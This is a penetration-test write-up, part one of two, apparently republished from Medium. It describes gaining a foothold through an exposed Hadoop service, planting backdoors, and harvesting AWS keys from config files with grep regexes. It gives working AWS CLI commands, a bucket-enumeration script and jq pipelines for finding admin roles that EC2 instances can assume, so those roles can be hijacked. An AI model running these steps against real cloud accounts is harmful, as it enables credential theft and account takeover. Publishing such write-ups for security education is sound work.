Exploiting fine-grained AWS IAM permissions for total cloud compromise: a real world example (part…

InfoSec Write-ups – Medium–

Exploiting fine-grained AWS IAM permissions for total cloud compromise: a real world example (part 1/2)


This is a real case study of how to enumerate and use IAM permissions to your advantage. I strongly suggest you read my previous article on how IAM permissions work. It’s long, but necessary to understand most of the things we did here. Another thing I want to clarify, this exploitation was long and somewhat technical, so I wont go too deep on the easier vulnerabilities we found (one of them is also covered in a previous writeup). We’ll cover manually enumerating IAM policies and roles, as well as automated tools that can do it for you (and why you shouldn’t trust them 100% of the time). We’ll also get a crash course on jq.

Getting a foot inside the network

A Nessus scan of a public AWS endpoint showed a Hadoop instance with an exposed unauthenticated ResourceManager service. You might remember this vulnerability from my previous writeup on Hadoop and MCollective exploitation. You can easily exploit this with metasploit to achieve RCE.

After compromising this instance and quickly setting up a couple of backdoors to re-gain access in case the service went down, we started scanning the network, and found a master Hadoop node with an exposed service on port 9290 on an internal interface (

We verified that it hosted configuration files for Hadoop.

We proceeded to download all the information to analyze it.

When you’re working on AWS environments, one of the best things you can find are AWS access keys and secret keys. You can find the relevant regex’s here: https://gist.github.com/hsuh/88360eeadb0e8f7136c37fd46a62ee10

AWS has 3 ways of accessing resources.

  1. Through the web console
  2. Through the command line interface
  3. Through API’s

To use the CLI, you need an access key, a secret key and optionally a token. You can find access keys and secret keys with the following regex’s:

grep -RP '(?<![A-Z0-9])[A-Z0-9]{20}(?![A-Z0-9])' *                       grep -RP '(?<![A-Za-z0-9/+=])[A-Za-z0-9/+=]{40}(?![A-Za-z0-9/+=])' *

After downloading everything, we ran them and found a match on a file called core-site.xml.

AWS access key
AWS secret key

Quoting https://www.edureka.co/blog/explaining-hadoop-configuration/:

Core-site.xml and hdfs-site.xml:

The core-site.xml file informs Hadoop daemon where NameNode runs in the cluster. It contains the configuration settings for Hadoop Core such as I/O settings that are common to HDFS and MapReduce.

The hdfs-site.xml file contains the configuration settings for HDFS daemons; the NameNode, the Secondary NameNode, and the DataNodes. Here, we can configure hdfs-site.xml to specify default block replication and permission checking on HDFS. The actual number of replications can also be specified when the file is created. The default is used if replication is not specified in create time.

We can use enumerate-iam.py to brute-force the permissions available to that account.

Apparently the account can list s3 buckets! The account doesn’t seem to have admin privileges though. Lets do a quick privilege escalation check with RhinoSecurityLab’s aws_escalate.py. I already mentioned this tool on my other article about IAM permissions. You can read about the 21 privilege escalation methods it checks for here.

Bad news, the account doesn’t seem to even have GetUser privileges. But there’s still more to look into. Lets go back to the S3 route.

Pivoting access

We need to configure a profile with the credentials and start enumerating.

aws configure --profile test
Setting up a profile in awscli
aws --profile test s3 ls
Verifying listing permissions

There were about 180 buckets. Lets start reading with

aws --profile test s3 ls s3://backup-db-logs

This were bad news as well. Apparently the account had permissions to list the buckets but not to read them. We needed to get the buckets which we could read. There are several tools to do this, but we always prefer to write our own scripts in order to have more control over what’s happening under the hood:

cat > enumerateReadBuckets.sh <<EOF
for i in "$@" ; do
if [[ $i == "--profile" ]] ; then
profile=$(echo "$@" | awk '{for(i=1;i<=NF;i++) if ($i=="--profile") print $(i+1)}')
AWS_ACCESS_KEY_ID=$(cat /root/.aws/credentials | grep -i "$profile" -A 2 | grep -i = | cut -d " " -f 3 | head -n 1)
AWS_SECRET_ACCESS_KEY=$(cat /root/.aws/credentials | grep -i "$profile" -A 2 | grep -i = | cut -d " " -f 3 | tail -n 1)
echo "Enumerating the buckets..."
aws --profile "$profile" s3 ls | cut -d ' ' -f 3 > /tmp/buckets
echo "You can read the following buckets:"
for i in $(cat /tmp/buckets); do
result=$(aws --profile "$profile" s3 ls s3://"$i" 2>/dev/null | head -n 1)
if [ ! -z "$result" ]; then
echo "$i" | tee /tmp/readBuckets
unset result

You can invoke it with

bash enumerateReadBuckets.sh --profile test

We had access to just 4 buckets… not great, not terrible. Lets start syncing all the info to analyze it locally.

for i in $(enumerateReadBuckets --profile test | tail -n +1); do aws s3 sync s3://"$i" .; done

But our script didn’t came back. We wasn’t sure at the moment what was the issue, but this happens frequently on pentest, so we proceeded with manual enumeration.
We started with our first bucket, let’s call it bucket1

aws --profile test s3 ls s3://bucket1

A conf directory! This looked promising.

aws --profile test s3 ls s3://bucket1/conf/

Wait, wasn’t core-site.xml the first file we found? Lets download it and look for credentials.

aws --profile test s3 cp s3://bucket1/conf/hadoop/core-site.xml .

Great! We found new credentials. Lets create a new profile to use them.

aws configure --profile test2

Lets brute force our permissions:

Awesome. This account seems to have a lot more permissions that our first one. Lets try to add a new user:

Still no admin account. Lets try to escalate privileges:

./aws_escalate.py --access-key-id AKID --secret-key SK

Now this is the point were we start taking advantage of our somewhat decent knowledge of the aws cli. The aws_escalate script uses the GetUser operation to get the current user. The account under test2 doesn’t have GetUser permissions. But there are other ways of getting the user you’re running under. One of them is using the Security Token Service API

aws sts get-caller-identity

Now that we know the user we can specify it manually:

./aws_escalate.py --access-key-id AKID --secret-key SK --user-name USER

The script returns that there are no methods possible. This was due to the fact that the user didn’t have permissions to call any of the methods that the script uses. But we were able to escalate privileges with this user manually. Lets see how.

Finding the perfect role to impersonate

If you remember the permissions associated with our test2 user, there were a lot related to ec2. Going back to Rhino’s excelent blog post, we can see that method 3 actually uses ec2:

Description: An attacker with the iam:PassRole and ec2:RunInstances permissions can create a new EC2 instance that they will have operating system access to and pass an existing EC2 instance profile/service role to it. They can then login to the instance and request the associated AWS keys from the EC2 instance meta data, which gives them access to all the permissions that the associated instance profile/service role has.

Lets clarify something before proceeding. A script is a great way to quickly enumerate information, but it usually won’t be able to tell you with 100% certainty if you can escalate privileges or not. This is because

1. most privileges escalations depend on several factors, and not all of them are easily correlated

2. Amazon permissions are really granular (you might have permissions to list buckets, but not read them).

Lest take the method I quoted above for example. You can have PassRole and RunInstances privileges, but that’s not actually enough. You also need to be able to enumerate which role to impersonate. And to exploit it, you need to be able to connect to the instance (so you need your own ssh keys already created to inject them to the instance at creation time). Or you need the instance to connect back to you, defining a user script. But both of these methods also depend on the instance having a security group allowing the connections (simply explained, a security group is the AWS name for a firewall policy). So you need to enumerate security groups to know which one to assign to the instance (or privileges to create new ones).

But granular permissions are a double edge sword. You have a lot more ways of doing things than what a lazy sysadmin might think. And we can take advantage of this (as we’ll see moving forward).

Now, the first thing that we need to find is which role we want to steal. Lets check if we can enumerate roles with

aws --profile PROFILE iam list-roles | head -n 10

Great! We have list-roles privileges. Now, there are two things we need for finding a good role hijacking candidate.

  1. The role needs to have an Administrator policy (or similar) attached.
  2. The role trust policy needs to have Amazon’s EC2 service in it to allow instances to assume the role (if you don’t know what this means, go back to my previous article).

Regarding number 1, we can list the associated managed policies with

aws --profile PROFILE iam list-attached-role-policies --role-name ROLE

We can also list the inline policies with

aws --profile PROFILE iam list-role-policies --role-name ROLE

Lets try it with the Administrators role as an example:

Great! Now, lets try to get the trust relationship document (aka assume role policy) to see who can assume this role. We can get this with

aws --profile PROFILE iam get-role --role-name ROLE
This is the output you should get, if your account has permissions
This is the output we got with the test2 account

This isn’t good. We don’t have get-role privileges. But remember what we said about granular permissions? There’s usually multiple ways of getting the same info. In this case, the user didn’t have permissions to use get-role, but it did have permissions to use list-roles:

aws --profile PROFILE iam list-roles

Great! Now, we need a way of listing the roles with an assume role policy listing aws EC2 as a trustee. To filter these we’re going to use JQ. Jq is a great tool for parsing json output, with a somewhat steep learning curve. To better show you how it’s used, I’m going to go step by step. First, you need to see the structure that you need to parse. Lets take one Role of the output:

The information that we need to look for is listed under Principal. It should look something like

"Principal": {
"Service": "ec2.amazonaws.com"

Let’s select only the fields we’re interested in with

aws --profile test2 iam list-roles | jq -r '.Roles[] | .RoleName, .AssumeRolePolicyDocument.Statement[].Principal.Service'

This will filter only the RoleName and the Principal

Not the output we were expecting for. This is because not all of the results look like our example from before. You might have something else (for example, a Federated principal):

This is going to make parsing the output harder, but now imposible. Lets filter only those elements which have a Principal.Service != null.

aws --profile test2 iam list-roles | jq -r '.Roles[] |  select( .AssumeRolePolicyDocument.Statement[].Principal.Service != null) | .RoleName, .AssumeRolePolicyDocument.Statement[].Principal.Service'

We’re getting closer. Lets polish the results a little:

aws --profile test2 iam list-roles | jq -r '.Roles[] |  select( .AssumeRolePolicyDocument.Statement[].Principal.Service != null) | .RoleName, .AssumeRolePolicyDocument.Statement[].Principal.Service' | grep -B 1 "ec2.amazonaws.com" | grep -v "ec2.amazonaws.com" |sort -u | uniq

This will get all the results with Principal.Service present as well an each Role Name. Then it will delete the Principal Service which we don’t need once we’ve matched it. Then it will sort the set and delete the duplicates.

Identifying possible candidates for instance role hijacking.

We have about 20 results which we can easily analyze manually. We now need to get the associated policy's to each one with list-attached-role-policies and list-role-policies like I said before. A few minutes after, we find a Role with an Administrator policy attached. Let’s call it danger-role from now on. Its illustrative enough. Also, it sounds like danger-zone, and I love Archer.

Danger-role identified!
Mandatory Archer meme

I was originally planning on writing a single article about this, but we’re already at 2000 words and I don’t want to put you to sleep, so I will conclude part 1 here. In part 2 we’ll see how we used this role to escalate privileges.

Exploiting fine-grained AWS IAM permissions for total cloud compromise: a real world example (part… was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

View original article on InfoSec Write-ups – Medium

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s